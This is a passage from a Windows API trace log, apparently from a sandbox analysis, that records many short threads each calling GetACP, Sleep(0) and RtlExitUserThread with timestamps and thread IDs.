(Status=0x0) Thread: id = 881 os_tid = 0xe08 [0226.187] GetACP () returned 0x4e4 [0226.187] GetACP () returned 0x4e4 [0226.188] Sleep (dwMilliseconds=0x0) [0226.293] RtlExitUserThread (Status=0x0) Thread: id = 882 os_tid = 0xe0c [0226.188] GetACP () returned 0x4e4 [0226.188] GetACP () returned 0x4e4 [0226.188] Sleep (dwMilliseconds=0x0) [0226.293] RtlExitUserThread (Status=0x0) Thread: id = 883 os_tid = 0xe10 [0226.188] GetACP () returned 0x4e4 [0226.188] GetACP () returned 0x4e4 [0226.188] Sleep (dwMilliseconds=0x0) [0226.294] RtlExitUserThread (Status=0x0) Thread: id = 884 os_tid = 0xe14 [0226.189] GetACP () returned 0x4e4 [0226.189] GetACP () returned 0x4e4 [0226.189] Sleep (dwMilliseconds=0x0) [0226.295] RtlExitUserThread (Status=0x0) Thread: id = 885 os_tid = 0xe18 [0226.189] GetACP () returned 0x4e4 [0226.189] GetACP () returned 0x4e4 [0226.189] Sleep (dwMilliseconds=0x0) [0226.295] RtlExitUserThread (Status=0x0) Thread: id = 886 os_tid = 0xe1c [0226.189] GetACP () returned 0x4e4 [0226.190] GetACP () returned 0x4e4 [0226.190] Sleep (dwMilliseconds=0x0) [0226.296] RtlExitUserThread (Status=0x0) Thread: id = 887 os_tid = 0xe20 [0226.190] GetACP () returned 0x4e4 [0226.190] GetACP () returned 0x4e4 [0226.190] Sleep (dwMilliseconds=0x0) [0226.297] RtlExitUserThread (Status=0x0) Thread: id = 888 os_tid = 0xe24 [0226.190] GetACP () returned 0x4e4 [0226.190] GetACP () returned 0x4e4 [0226.190] Sleep (dwMilliseconds=0x0) [0226.297] RtlExitUserThread (Status=0x0) Thread: id = 889 os_tid = 0xe28 [0226.191] GetACP () returned 0x4e4 [0226.191] GetACP () returned 0x4e4 [0226.191] Sleep (dwMilliseconds=0x0) [0226.298] RtlExitUserThread (Status=0x0) Thread: id = 890 os_tid = 0xe2c [0226.191] GetACP () returned 0x4e4 [0226.191] GetACP () returned 0x4e4 [0226.191] Sleep (dwMilliseconds=0x0) [0226.298] RtlExitUserThread (Status=0x0) Thread: id = 891 os_tid = 0xe30 [0226.191] GetACP () returned 0x4e4 [0226.191] GetACP () returned 0x4e4 [0226.191] Sleep (dwMilliseconds=0x0) [0226.299] RtlExitUserThread (Status=0x0) Thread: id = 892 os_tid = 0xe34 [0226.192] GetACP () returned 0x4e4 [0226.192] GetACP () returned 0x4e4 [0226.192] Sleep (dwMilliseconds=0x0) [0226.300] RtlExitUserThread (Status=0x0) Thread: id = 893 os_tid = 0xe38 [0226.193] GetACP () returned 0x4e4 [0226.193] GetACP () returned 0x4e4 [0226.193] Sleep (dwMilliseconds=0x0) [0226.300] RtlExitUserThread (Status=0x0) Thread: id = 894 os_tid = 0xe3c [0226.193] GetACP () returned 0x4e4 [0226.193] GetACP () returned 0x4e4 [0226.193] Sleep (dwMilliseconds=0x0) [0226.301] RtlExitUserThread (Status=0x0) Thread: id = 895 os_tid = 0xe40 [0226.194] GetACP () returned 0x4e4 [0226.194] GetACP () returned 0x4e4 [0226.194] Sleep (dwMilliseconds=0x0) [0226.301] RtlExitUserThread (Status=0x0) Thread: id = 896 os_tid = 0xe44 [0226.194] GetACP () returned 0x4e4 [0226.194] GetACP () returned 0x4e4 [0226.194] Sleep (dwMilliseconds=0x0) [0226.302] RtlExitUserThread (Status=0x0) Thread: id = 909 os_tid = 0xe7c [0226.303] GetACP () returned 0x4e4 [0226.303] GetACP () returned 0x4e4 [0226.303] Sleep (dwMilliseconds=0x0) [0226.405] RtlExitUserThread (Status=0x0) Thread: id = 910 os_tid = 0xe80 [0226.303] GetACP () returned 0x4e4 [0226.303] GetACP () returned 0x4e4 [0226.303] Sleep (dwMilliseconds=0x0) [0226.406] RtlExitUserThread (Status=0x0) Thread: id = 911 os_tid = 0xe84 [0226.304] GetACP () returned 0x4e4 [0226.304] GetACP () returned 0x4e4 [0226.304] Sleep (dwMilliseconds=0x0) [0226.406] RtlExitUserThread (Status=0x0) Thread: id = 912 os_tid = 0xe88 [0226.304] GetACP () returned 0x4e4 [0226.304] GetACP () returned 0x4e4 [0226.304] Sleep (dwMilliseconds=0x0) [0226.407] RtlExitUserThread (Status=0x0) Thread: id = 913 os_tid = 0xe8c [0226.305] GetACP () returned 0x4e4 [0226.305] GetACP () returned 0x4e4 [0226.305] Sleep (dwMilliseconds=0x0) [0226.407] RtlExitUserThread (Status=0x0) Thread: id = 914 os_tid = 0xe90 [0226.305] GetACP () returned 0x4e4 [0226.305] GetACP () returned 0x4e4 [0226.305] Sleep (dwMilliseconds=0x0) [0226.408] RtlExitUserThread (Status=0x0) Thread: id = 915 os_tid = 0xe94 [0226.306] GetACP () returned 0x4e4 [0226.306] GetACP () returned 0x4e4 [0226.306] Sleep (dwMilliseconds=0x0) [0226.408] RtlExitUserThread (Status=0x0) Thread: id = 916 os_tid = 0xe98 [0226.306] GetACP () returned 0x4e4 [0226.306] GetACP () returned 0x4e4 [0226.306] Sleep (dwMilliseconds=0x0) [0226.409] RtlExitUserThread (Status=0x0) Thread: id = 917 os_tid = 0xe9c [0226.306] GetACP () returned 0x4e4 [0226.306] GetACP () returned 0x4e4 [0226.306] Sleep (dwMilliseconds=0x0) [0226.410] RtlExitUserThread (Status=0x0) Thread: id = 918 os_tid = 0xea0 [0226.307] GetACP () returned 0x4e4 [0226.307] GetACP () returned 0x4e4 [0226.307] Sleep (dwMilliseconds=0x0) [0226.410] RtlExitUserThread (Status=0x0) Thread: id = 919 os_tid = 0xea4 [0226.307] GetACP () returned 0x4e4 [0226.307] GetACP () returned 0x4e4 [0226.307] Sleep (dwMilliseconds=0x0) [0226.411] RtlExitUserThread (Status=0x0) Thread: id = 920 os_tid = 0xea8 [0226.308] GetACP () returned 0x4e4 [0226.308] GetACP () returned 0x4e4 [0226.308] Sleep (dwMilliseconds=0x0) [0226.412] RtlExitUserThread (Status=0x0) Thread: id = 921 os_tid = 0xeac [0226.308] GetACP () returned 0x4e4 [0226.308] GetACP () returned 0x4e4 [0226.308] Sleep (dwMilliseconds=0x0) [0226.412] RtlExitUserThread (Status=0x0) Thread: id = 922 os_tid = 0xeb0 [0226.309] GetACP () returned 0x4e4 [0226.309] GetACP () returned 0x4e4 [0226.309] Sleep (dwMilliseconds=0x0) [0226.413] RtlExitUserThread (Status=0x0) Thread: id = 923 os_tid = 0xeb4 [0226.310] GetACP () returned 0x4e4 [0226.310] GetACP () returned 0x4e4 [0226.310] Sleep (dwMilliseconds=0x0) [0226.413] RtlExitUserThread (Status=0x0) Thread: id = 924 os_tid = 0xeb8 [0226.310] GetACP () returned 0x4e4 [0226.310] GetACP () returned 0x4e4 [0226.310] Sleep (dwMilliseconds=0x0) [0226.414] RtlExitUserThread (Status=0x0) Thread: id = 925 os_tid = 0xebc [0226.311] GetACP () returned 0x4e4 [0226.311] GetACP () returned 0x4e4 [0226.311] Sleep (dwMilliseconds=0x0) [0226.415] RtlExitUserThread (Status=0x0) Thread: id = 926 os_tid = 0xec0 [0226.311] GetACP () returned 0x4e4 [0226.311] GetACP () returned 0x4e4 [0226.311] Sleep (dwMilliseconds=0x0) [0226.415] RtlExitUserThread (Status=0x0) Thread: id = 927 os_tid = 0xec4 [0226.312] GetACP () returned 0x4e4 [0226.312] GetACP () returned 0x4e4 [0226.312] Sleep (dwMilliseconds=0x0) [0226.416] RtlExitUserThread (Status=0x0) Thread: id = 928 os_tid = 0xec8 [0226.312] GetACP () returned 0x4e4 [0226.312] GetACP () returned 0x4e4 [0226.312] Sleep (dwMilliseconds=0x0) [0226.416] RtlExitUserThread (Status=0x0) Thread: id = 937 os_tid = 0xee8 [0226.417] GetACP () returned 0x4e4 [0226.417] GetACP () returned 0x4e4 [0226.417] Sleep (dwMilliseconds=0x0) [0226.514] RtlExitUserThread (Status=0x0) Thread: id = 938 os_tid = 0xeec [0226.417] GetACP () returned 0x4e4 [0226.417] GetACP () returned 0x4e4 [0226.417] Sleep (dwMilliseconds=0x0) [0226.515] RtlExitUserThread (Status=0x0) Thread: id = 939 os_tid = 0xef0 [0226.418] GetACP () returned 0x4e4 [0226.418] GetACP () returned 0x4e4 [0226.418] Sleep (dwMilliseconds=0x0) [0226.515] RtlExitUserThread (Status=0x0) Thread: id = 940 os_tid = 0xef4 [0226.418] GetACP () returned 0x4e4 [0226.418] GetACP () returned 0x4e4 [0226.418] Sleep (dwMilliseconds=0x0) [0226.516] RtlExitUserThread (Status=0x0) Thread: id = 941 os_tid = 0xef8 [0226.418] GetACP () returned 0x4e4 [0226.418] GetACP () returned 0x4e4 [0226.418] Sleep (dwMilliseconds=0x0) [0226.516] RtlExitUserThread (Status=0x0) Thread: id = 942 os_tid = 0xefc [0226.419] GetACP () returned 0x4e4 [0226.419] GetACP () returned 0x4e4 [0226.419] Sleep (dwMilliseconds=0x0) [0226.517] RtlExitUserThread (Status=0x0) Thread: id = 943 os_tid = 0xf00 [0226.419] GetACP () returned 0x4e4 [0226.419] GetACP () returned 0x4e4 [0226.419] Sleep (dwMilliseconds=0x0) [0226.518] RtlExitUserThread (Status=0x0) Thread: id = 944 os_tid = 0xf04 [0226.420] GetACP () returned 0x4e4 [0226.420] GetACP () returned 0x4e4 [0226.420] Sleep (dwMilliseconds=0x0) [0226.518] RtlExitUserThread (Status=0x0) Thread: id = 945 os_tid = 0xf08 [0226.420] GetACP () returned 0x4e4 [0226.420] GetACP () returned 0x4e4 [0226.420] Sleep (dwMilliseconds=0x0) [0226.519] RtlExitUserThread (Status=0x0) Thread: id = 946 os_tid = 0xf0c [0226.420] GetACP () returned 0x4e4 [0226.420] GetACP () returned 0x4e4 [0226.420] Sleep (dwMilliseconds=0x0) [0226.520] RtlExitUserThread (Status=0x0) Thread: id = 947 os_tid = 0xf10 [0226.421] GetACP () returned 0x4e4 [0226.421] GetACP () returned 0x4e4 [0226.421] Sleep (dwMilliseconds=0x0) [0226.520] RtlExitUserThread (Status=0x0) Thread: id = 948 os_tid = 0xf14 [0226.421] GetACP () returned 0x4e4 [0226.421] GetACP () returned 0x4e4 [0226.421] Sleep (dwMilliseconds=0x0) [0226.521] RtlExitUserThread (Status=0x0) Thread: id = 949 os_tid = 0xf18 [0226.421] GetACP () returned 0x4e4 [0226.421] GetACP () returned 0x4e4 [0226.421] Sleep (dwMilliseconds=0x0) [0226.522] RtlExitUserThread (Status=0x0) Thread: id = 950 os_tid = 0xf1c [0226.422] GetACP () returned 0x4e4 [0226.422] GetACP () returned 0x4e4 [0226.422] Sleep (dwMilliseconds=0x0) [0226.522] RtlExitUserThread (Status=0x0) Thread: id = 951 os_tid = 0xf20 [0226.422] GetACP () returned 0x4e4 [0226.422] GetACP () returned 0x4e4 [0226.422] Sleep (dwMilliseconds=0x0) [0226.523] RtlExitUserThread (Status=0x0) Thread: id = 952 os_tid = 0xf24 [0226.423] GetACP () returned 0x4e4 [0226.423] GetACP () returned 0x4e4 [0226.423] Sleep (dwMilliseconds=0x0) [0226.523] RtlExitUserThread (Status=0x0) Thread: id = 953 os_tid = 0xf28 [0226.423] GetACP () returned 0x4e4 [0226.423] GetACP () returned 0x4e4 [0226.423] Sleep (dwMilliseconds=0x0) [0226.524] RtlExitUserThread (Status=0x0) Thread: id = 954 os_tid = 0xf2c [0226.423] GetACP () returned 0x4e4 [0226.423] GetACP () returned 0x4e4 [0226.423] Sleep (dwMilliseconds=0x0) [0226.525] RtlExitUserThread (Status=0x0) Thread: id = 955 os_tid = 0xf30 [0226.424] GetACP () returned 0x4e4 [0226.424] GetACP () returned 0x4e4 [0226.424] Sleep (dwMilliseconds=0x0) [0226.525] RtlExitUserThread (Status=0x0) Thread: id = 956 os_tid = 0xf34 [0226.424] GetACP () returned 0x4e4 [0226.424] GetACP () returned 0x4e4 [0226.424] Sleep (dwMilliseconds=0x0) [0226.526] RtlExitUserThread (Status=0x0) Thread: id = 977 os_tid = 0xf88 [0226.527] GetACP () returned 0x4e4 [0226.527] GetACP () returned 0x4e4 [0226.527] Sleep (dwMilliseconds=0x0) [0226.639] RtlExitUserThread (Status=0x0) Thread: id = 978 os_tid = 0xf8c [0226.528] GetACP () returned 0x4e4 [0226.528] GetACP () returned 0x4e4 [0226.528] Sleep (dwMilliseconds=0x0) [0226.639] RtlExitUserThread (Status=0x0) Thread: id = 979 os_tid = 0xf90 [0226.528] GetACP () returned 0x4e4 [0226.528] GetACP () returned 0x4e4 [0226.528] Sleep (dwMilliseconds=0x0) [0226.640] RtlExitUserThread (Status=0x0) Thread: id = 980 os_tid = 0xf94 [0226.529] GetACP () returned 0x4e4 [0226.529] GetACP () returned 0x4e4 [0226.529] Sleep (dwMilliseconds=0x0) [0226.640] RtlExitUserThread (Status=0x0) Thread: id = 981 os_tid = 0xf98 [0226.529] GetACP () returned 0x4e4 [0226.529] GetACP () returned 0x4e4 [0226.529] Sleep (dwMilliseconds=0x0) [0226.641] RtlExitUserThread (Status=0x0) Thread: id = 982 os_tid = 0xf9c [0226.530] GetACP () returned 0x4e4 [0226.530] GetACP () returned 0x4e4 [0226.530] Sleep (dwMilliseconds=0x0) [0226.641] RtlExitUserThread (Status=0x0) Thread: id = 983 os_tid = 0xfa0 [0226.530] GetACP () returned 0x4e4 [0226.530] GetACP () returned 0x4e4 [0226.530] Sleep (dwMilliseconds=0x0) [0226.642] RtlExitUserThread (Status=0x0) Thread: id = 984 os_tid = 0xfa4 [0226.531] GetACP () returned 0x4e4 [0226.531] GetACP () returned 0x4e4 [0226.531] Sleep (dwMilliseconds=0x0) [0226.643] RtlExitUserThread (Status=0x0) Thread: id = 985 os_tid = 0xfa8 [0226.531] GetACP () returned 0x4e4 [0226.531] GetACP () returned 0x4e4 [0226.531] Sleep (dwMilliseconds=0x0) [0226.643] RtlExitUserThread (Status=0x0) Thread: id = 986 os_tid = 0xfac [0226.531] GetACP () returned 0x4e4 [0226.531] GetACP () returned 0x4e4 [0226.531] Sleep (dwMilliseconds=0x0) [0226.644] RtlExitUserThread (Status=0x0) Thread: id = 987 os_tid = 0xfb0 [0226.532] GetACP () returned 0x4e4 [0226.532] GetACP () returned 0x4e4 [0226.532] Sleep (dwMilliseconds=0x0) [0226.644] RtlExitUserThread (Status=0x0) Thread: id = 988 os_tid = 0xfb4 [0226.532] GetACP () returned 0x4e4 [0226.532] GetACP () returned 0x4e4 [0226.532] Sleep (dwMilliseconds=0x0) [0226.645] RtlExitUserThread (Status=0x0) Thread: id = 989 os_tid = 0xfb8 [0226.533] GetACP () returned 0x4e4 [0226.533] GetACP () returned 0x4e4 [0226.533] Sleep (dwMilliseconds=0x0) [0226.645] RtlExitUserThread (Status=0x0) Thread: id = 990 os_tid = 0xfbc [0226.533] GetACP () returned 0x4e4 [0226.533] GetACP () returned 0x4e4 [0226.533] Sleep (dwMilliseconds=0x0) [0226.646] RtlExitUserThread (Status=0x0) Thread: id = 991 os_tid = 0xfc0 [0226.533] GetACP () returned 0x4e4 [0226.533] GetACP () returned 0x4e4 [0226.533] Sleep (dwMilliseconds=0x0) [0226.647] RtlExitUserThread (Status=0x0) Thread: id = 992 os_tid = 0xfc4 [0226.534] GetACP () returned 0x4e4 [0226.534] GetACP () returned 0x4e4 [0226.534] Sleep (dwMilliseconds=0x0) [0226.647] RtlExitUserThread (Status=0x0) Thread: id = 993 os_tid = 0xfc8 [0226.534] GetACP () returned 0x4e4 [0226.534] GetACP () returned 0x4e4 [0226.534] Sleep (dwMilliseconds=0x0) [0226.648] RtlExitUserThread (Status=0x0) Thread: id = 994 os_tid = 0xfcc [0226.535] GetACP () returned 0x4e4 [0226.535] GetACP () returned 0x4e4 [0226.535] Sleep (dwMilliseconds=0x0) [0226.648] RtlExitUserThread (Status=0x0) Thread: id = 995 os_tid = 0xfd0 [0226.535] GetACP () returned 0x4e4 [0226.535] GetACP () returned 0x4e4 [0226.535] Sleep (dwMilliseconds=0x0) [0226.649] RtlExitUserThread (Status=0x0) Thread: id = 996 os_tid = 0xfd4 [0226.535] GetACP () returned 0x4e4 [0226.535] GetACP () returned 0x4e4 [0226.535] Sleep (dwMilliseconds=0x0) [0226.649] RtlExitUserThread (Status=0x0) Thread: id = 1017 os_tid = 0x5b8 [0226.650] GetACP () returned 0x4e4 [0226.650] GetACP () returned 0x4e4 [0226.650] Sleep (dwMilliseconds=0x0) [0226.764] RtlExitUserThread (Status=0x0) Thread: id = 1018 os_tid = 0x5c0 [0226.650] GetACP () returned 0x4e4 [0226.650] GetACP () returned 0x4e4 [0226.650] Sleep (dwMilliseconds=0x0) [0226.765] RtlExitUserThread (Status=0x0) Thread: id = 1019 os_tid = 0x5c4 [0226.651] GetACP () returned 0x4e4 [0226.651] GetACP () returned 0x4e4 [0226.651] Sleep (dwMilliseconds=0x0) [0226.765] RtlExitUserThread (Status=0x0) Thread: id = 1020 os_tid = 0x5a8 [0226.651] GetACP () returned 0x4e4 [0226.651] GetACP () returned 0x4e4 [0226.651] Sleep (dwMilliseconds=0x0) [0226.766] RtlExitUserThread (Status=0x0) Thread: id = 1021 os_tid = 0x598 [0226.651] GetACP () returned 0x4e4 [0226.651] GetACP () returned 0x4e4 [0226.651] Sleep (dwMilliseconds=0x0) [0226.766] RtlExitUserThread (Status=0x0) Thread: id = 1022 os_tid = 0x59c [0226.652] GetACP () returned 0x4e4 [0226.652] GetACP () returned 0x4e4 [0226.652] Sleep (dwMilliseconds=0x0) [0226.767] RtlExitUserThread (Status=0x0) Thread: id = 1023 os_tid = 0x470 [0226.652] GetACP () returned 0x4e4 [0226.652] GetACP () returned 0x4e4 [0226.652] Sleep (dwMilliseconds=0x0) [0226.767] RtlExitUserThread (Status=0x0) Thread: id = 1024 os_tid = 0x480 [0226.652] GetACP () returned 0x4e4 [0226.652] GetACP () returned 0x4e4 [0226.653] Sleep (dwMilliseconds=0x0) [0226.768] RtlExitUserThread (Status=0x0) Thread: id = 1025 os_tid = 0x488 [0226.653] GetACP () returned 0x4e4 [0226.653] GetACP () returned 0x4e4 [0226.653] Sleep (dwMilliseconds=0x0) [0226.768] RtlExitUserThread (Status=0x0) Thread: id = 1026 os_tid = 0x444 [0226.653] GetACP () returned 0x4e4 [0226.653] GetACP () returned 0x4e4 [0226.653] Sleep (dwMilliseconds=0x0) [0226.769] RtlExitUserThread (Status=0x0) Thread: id = 1027 os_tid = 0x46c [0226.654] GetACP () returned 0x4e4 [0226.654] GetACP () returned 0x4e4 [0226.654] Sleep (dwMilliseconds=0x0) [0226.769] RtlExitUserThread (Status=0x0) Thread: id = 1028 os_tid = 0x370 [0226.654] GetACP () returned 0x4e4 [0226.654] GetACP () returned 0x4e4 [0226.654] Sleep (dwMilliseconds=0x0) [0226.770] RtlExitUserThread (Status=0x0) Thread: id = 1029 os_tid = 0x380 [0226.655] GetACP () returned 0x4e4 [0226.655] GetACP () returned 0x4e4 [0226.655] Sleep (dwMilliseconds=0x0) [0226.770] RtlExitUserThread (Status=0x0) Thread: id = 1030 os_tid = 0x394 [0226.655] GetACP () returned 0x4e4 [0226.655] GetACP () returned 0x4e4 [0226.655] Sleep (dwMilliseconds=0x0) [0226.771] RtlExitUserThread (Status=0x0) Thread: id = 1031 os_tid = 0x448 [0226.655] GetACP () returned 0x4e4 [0226.655] GetACP () returned 0x4e4 [0226.655] Sleep (dwMilliseconds=0x0) [0226.771] RtlExitUserThread (Status=0x0) Thread: id = 1032 os_tid = 0x478 [0226.656] GetACP () returned 0x4e4 [0226.656] GetACP () returned 0x4e4 [0226.656] Sleep (dwMilliseconds=0x0) [0226.772] RtlExitUserThread (Status=0x0) Thread: id = 1033 os_tid = 0x5a0 [0226.656] GetACP () returned 0x4e4 [0226.656] GetACP () returned 0x4e4 [0226.656] Sleep (dwMilliseconds=0x0) [0226.772] RtlExitUserThread (Status=0x0) Thread: id = 1034 os_tid = 0x5b4 [0226.656] GetACP () returned 0x4e4 [0226.656] GetACP () returned 0x4e4 [0226.656] Sleep (dwMilliseconds=0x0) [0226.773] RtlExitUserThread (Status=0x0) Thread: id = 1035 os_tid = 0x5b0 [0226.657] GetACP () returned 0x4e4 [0226.657] GetACP () returned 0x4e4 [0226.657] Sleep (dwMilliseconds=0x0) [0226.773] RtlExitUserThread (Status=0x0) Thread: id = 1036 os_tid = 0xca8 [0226.657] GetACP () returned 0x4e4 [0226.657] GetACP () returned 0x4e4 [0226.657] Sleep (dwMilliseconds=0x0) [0226.777] RtlExitUserThread (Status=0x0) Thread: id = 1057 os_tid = 0x904 [0226.778] GetACP () returned 0x4e4 [0226.778] GetACP () returned 0x4e4 [0226.778] Sleep (dwMilliseconds=0x0) [0226.893] RtlExitUserThread (Status=0x0) Thread: id = 1058 os_tid = 0x8f0 [0226.778] GetACP () returned 0x4e4 [0226.778] GetACP () returned 0x4e4 [0226.778] Sleep (dwMilliseconds=0x0) [0226.894] RtlExitUserThread (Status=0x0) Thread: id = 1059 os_tid = 0xaf8 [0226.779] GetACP () returned 0x4e4 [0226.779] GetACP () returned 0x4e4 [0226.779] Sleep (dwMilliseconds=0x0) [0226.895] RtlExitUserThread (Status=0x0) Thread: id = 1060 os_tid = 0xcb4 [0226.779] GetACP () returned 0x4e4 [0226.779] GetACP () returned 0x4e4 [0226.779] Sleep (dwMilliseconds=0x0) [0226.896] RtlExitUserThread (Status=0x0) Thread: id = 1061 os_tid = 0xc74 [0226.780] GetACP () returned 0x4e4 [0226.780] GetACP () returned 0x4e4 [0226.780] Sleep (dwMilliseconds=0x0) [0226.897] RtlExitUserThread (Status=0x0) Thread: id = 1062 os_tid = 0xcac [0226.780] GetACP () returned 0x4e4 [0226.780] GetACP () returned 0x4e4 [0226.780] Sleep (dwMilliseconds=0x0) [0226.897] RtlExitUserThread (Status=0x0) Thread: id = 1063 os_tid = 0xcb8 [0226.780] GetACP () returned 0x4e4 [0226.780] GetACP () returned 0x4e4 [0226.780] Sleep (dwMilliseconds=0x0) [0226.898] RtlExitUserThread (Status=0x0) Thread: id = 1064 os_tid = 0xcb0 [0226.781] GetACP () returned 0x4e4 [0226.781] GetACP () returned 0x4e4 [0226.781] Sleep (dwMilliseconds=0x0) [0226.898] RtlExitUserThread (Status=0x0) Thread: id = 1065 os_tid = 0xce0 [0226.781] GetACP () returned 0x4e4 [0226.781] GetACP () returned 0x4e4 [0226.781] Sleep (dwMilliseconds=0x0) [0226.899] RtlExitUserThread (Status=0x0) Thread: id = 1066 os_tid = 0xcc4 [0226.782] GetACP () returned 0x4e4 [0226.782] GetACP () returned 0x4e4 [0226.782] Sleep (dwMilliseconds=0x0) [0226.899] RtlExitUserThread (Status=0x0) Thread: id = 1067 os_tid = 0xc80 [0226.782] GetACP () returned 0x4e4 [0226.782] GetACP () returned 0x4e4 [0226.782] Sleep (dwMilliseconds=0x0) [0226.900] RtlExitUserThread (Status=0x0) Thread: id = 1068 os_tid = 0xc70 [0226.783] GetACP () returned 0x4e4 [0226.783] GetACP () returned 0x4e4 [0226.783] Sleep (dwMilliseconds=0x0) [0226.900] RtlExitUserThread (Status=0x0) Thread: id = 1069 os_tid = 0xd8c [0226.783] GetACP () returned 0x4e4 [0226.783] GetACP () returned 0x4e4 [0226.783] Sleep (dwMilliseconds=0x0) [0226.901] RtlExitUserThread (Status=0x0) Thread: id = 1070 os_tid = 0xd88 [0226.783] GetACP () returned 0x4e4 [0226.783] GetACP () returned 0x4e4 [0226.783] Sleep (dwMilliseconds=0x0) [0226.901] RtlExitUserThread (Status=0x0) Thread: id = 1071 os_tid = 0xd98 [0226.784] GetACP () returned 0x4e4 [0226.784] GetACP () returned 0x4e4 [0226.784] Sleep (dwMilliseconds=0x0) [0226.902] RtlExitUserThread (Status=0x0) Thread: id = 1072 os_tid = 0xd80 [0226.784] GetACP () returned 0x4e4 [0226.784] GetACP () returned 0x4e4 [0226.784] Sleep (dwMilliseconds=0x0) [0226.903] RtlExitUserThread (Status=0x0) Thread: id = 1073 os_tid = 0xd90 [0226.785] GetACP () returned 0x4e4 [0226.785] GetACP () returned 0x4e4 [0226.785] Sleep (dwMilliseconds=0x0) [0226.903] RtlExitUserThread (Status=0x0) Thread: id = 1074 os_tid = 0xd94 [0226.785] GetACP () returned 0x4e4 [0226.785] GetACP () returned 0x4e4 [0226.785] Sleep (dwMilliseconds=0x0) [0226.904] RtlExitUserThread (Status=0x0) Thread: id = 1075 os_tid = 0xd9c [0226.785] GetACP () returned 0x4e4 [0226.786] GetACP () returned 0x4e4 [0226.786] Sleep (dwMilliseconds=0x0) [0226.904] RtlExitUserThread (Status=0x0) Thread: id = 1076 os_tid = 0xd84 [0226.786] GetACP () returned 0x4e4 [0226.786] GetACP () returned 0x4e4 [0226.786] Sleep (dwMilliseconds=0x0) [0226.905] RtlExitUserThread (Status=0x0) Thread: id = 1097 os_tid = 0xbf8 [0226.906] GetACP () returned 0x4e4 [0226.906] GetACP () returned 0x4e4 [0226.906] Sleep (dwMilliseconds=0x0) [0227.014] RtlExitUserThread (Status=0x0) Thread: id = 1098 os_tid = 0x8a4 [0226.906] GetACP () returned 0x4e4 [0226.906] GetACP () returned 0x4e4 [0226.906] Sleep (dwMilliseconds=0x0) [0227.014] RtlExitUserThread (Status=0x0) Thread: id = 1099 os_tid = 0xcf4 [0226.906] GetACP () returned 0x4e4 [0226.906] GetACP () returned 0x4e4 [0226.907] Sleep (dwMilliseconds=0x0) [0227.016] RtlExitUserThread (Status=0x0) Thread: id = 1100 os_tid = 0xcfc [0226.907] GetACP () returned 0x4e4 [0226.907] GetACP () returned 0x4e4 [0226.907] Sleep (dwMilliseconds=0x0) [0227.016] RtlExitUserThread (Status=0x0) Thread: id = 1101 os_tid = 0xd00 [0226.907] GetACP () returned 0x4e4 [0226.907] GetACP () returned 0x4e4 [0226.907] Sleep (dwMilliseconds=0x0) [0227.017] RtlExitUserThread (Status=0x0) Thread: id = 1102 os_tid = 0xd0c [0226.908] GetACP () returned 0x4e4 [0226.908] GetACP () returned 0x4e4 [0226.908] Sleep (dwMilliseconds=0x0) [0227.017] RtlExitUserThread (Status=0x0) Thread: id = 1103 os_tid = 0xd10 [0226.908] GetACP () returned 0x4e4 [0226.908] GetACP () returned 0x4e4 [0226.908] Sleep (dwMilliseconds=0x0) [0227.018] RtlExitUserThread (Status=0x0) Thread: id = 1104 os_tid = 0xd08 [0226.909] GetACP () returned 0x4e4 [0226.909] GetACP () returned 0x4e4 [0226.909] Sleep (dwMilliseconds=0x0) [0227.018] RtlExitUserThread (Status=0x0) Thread: id = 1105 os_tid = 0xcf8 [0226.909] GetACP () returned 0x4e4 [0226.909] GetACP () returned 0x4e4 [0226.909] Sleep (dwMilliseconds=0x0) [0227.019] RtlExitUserThread (Status=0x0) Thread: id = 1106 os_tid = 0xde0 [0226.910] GetACP () returned 0x4e4 [0226.910] GetACP () returned 0x4e4 [0226.910] Sleep (dwMilliseconds=0x0) [0227.019] RtlExitUserThread (Status=0x0) Thread: id = 1107 os_tid = 0xddc [0226.910] GetACP () returned 0x4e4 [0226.910] GetACP () returned 0x4e4 [0226.910] Sleep (dwMilliseconds=0x0) [0227.020] RtlExitUserThread (Status=0x0) Thread: id = 1108 os_tid = 0xcf0 [0226.911] GetACP () returned 0x4e4 [0226.911] GetACP () returned 0x4e4 [0226.911] Sleep (dwMilliseconds=0x0) [0227.021] RtlExitUserThread (Status=0x0) Thread: id = 1109 os_tid = 0x1004 [0226.911] GetACP () returned 0x4e4 [0226.911] GetACP () returned 0x4e4 [0226.911] Sleep (dwMilliseconds=0x0) [0227.021] RtlExitUserThread (Status=0x0) Thread: id = 1110 os_tid = 0x1008 [0226.912] GetACP () returned 0x4e4 [0226.912] GetACP () returned 0x4e4 [0226.912] Sleep (dwMilliseconds=0x0) [0227.022] RtlExitUserThread (Status=0x0) Thread: id = 1111 os_tid = 0x100c [0226.912] GetACP () returned 0x4e4 [0226.912] GetACP () returned 0x4e4 [0226.912] Sleep (dwMilliseconds=0x0) [0227.022] RtlExitUserThread (Status=0x0) Thread: id = 1112 os_tid = 0x1010 [0226.913] GetACP () returned 0x4e4 [0226.913] GetACP () returned 0x4e4 [0226.913] Sleep (dwMilliseconds=0x0) [0227.023] RtlExitUserThread (Status=0x0) Thread: id = 1113 os_tid = 0x1014 [0226.913] GetACP () returned 0x4e4 [0226.913] GetACP () returned 0x4e4 [0226.913] Sleep (dwMilliseconds=0x0) [0227.023] RtlExitUserThread (Status=0x0) Thread: id = 1114 os_tid = 0x1018 [0226.913] GetACP () returned 0x4e4 [0226.913] GetACP () returned 0x4e4 [0226.913] Sleep (dwMilliseconds=0x0) [0227.034] RtlExitUserThread (Status=0x0) Thread: id = 1115 os_tid = 0x101c [0226.914] GetACP () returned 0x4e4 [0226.914] GetACP () returned 0x4e4 [0226.914] Sleep (dwMilliseconds=0x0) [0227.035] RtlExitUserThread (Status=0x0) Thread: id = 1116 os_tid = 0x1020 [0226.914] GetACP () returned 0x4e4 [0226.914] GetACP () returned 0x4e4 [0226.914] Sleep (dwMilliseconds=0x0) [0227.035] RtlExitUserThread (Status=0x0) Thread: id = 1137 os_tid = 0x1074 [0227.037] GetACP () returned 0x4e4 [0227.037] GetACP () returned 0x4e4 [0227.037] Sleep (dwMilliseconds=0x0) [0227.236] RtlExitUserThread (Status=0x0) Thread: id = 1138 os_tid = 0x1078 [0227.037] GetACP () returned 0x4e4 [0227.037] GetACP () returned 0x4e4 [0227.038] Sleep (dwMilliseconds=0x0) [0227.237] RtlExitUserThread (Status=0x0) Thread: id = 1139 os_tid = 0x107c [0227.038] GetACP () returned 0x4e4 [0227.038] GetACP () returned 0x4e4 [0227.038] Sleep (dwMilliseconds=0x0) [0227.237] RtlExitUserThread (Status=0x0) Thread: id = 1140 os_tid = 0x1080 [0227.039] GetACP () returned 0x4e4 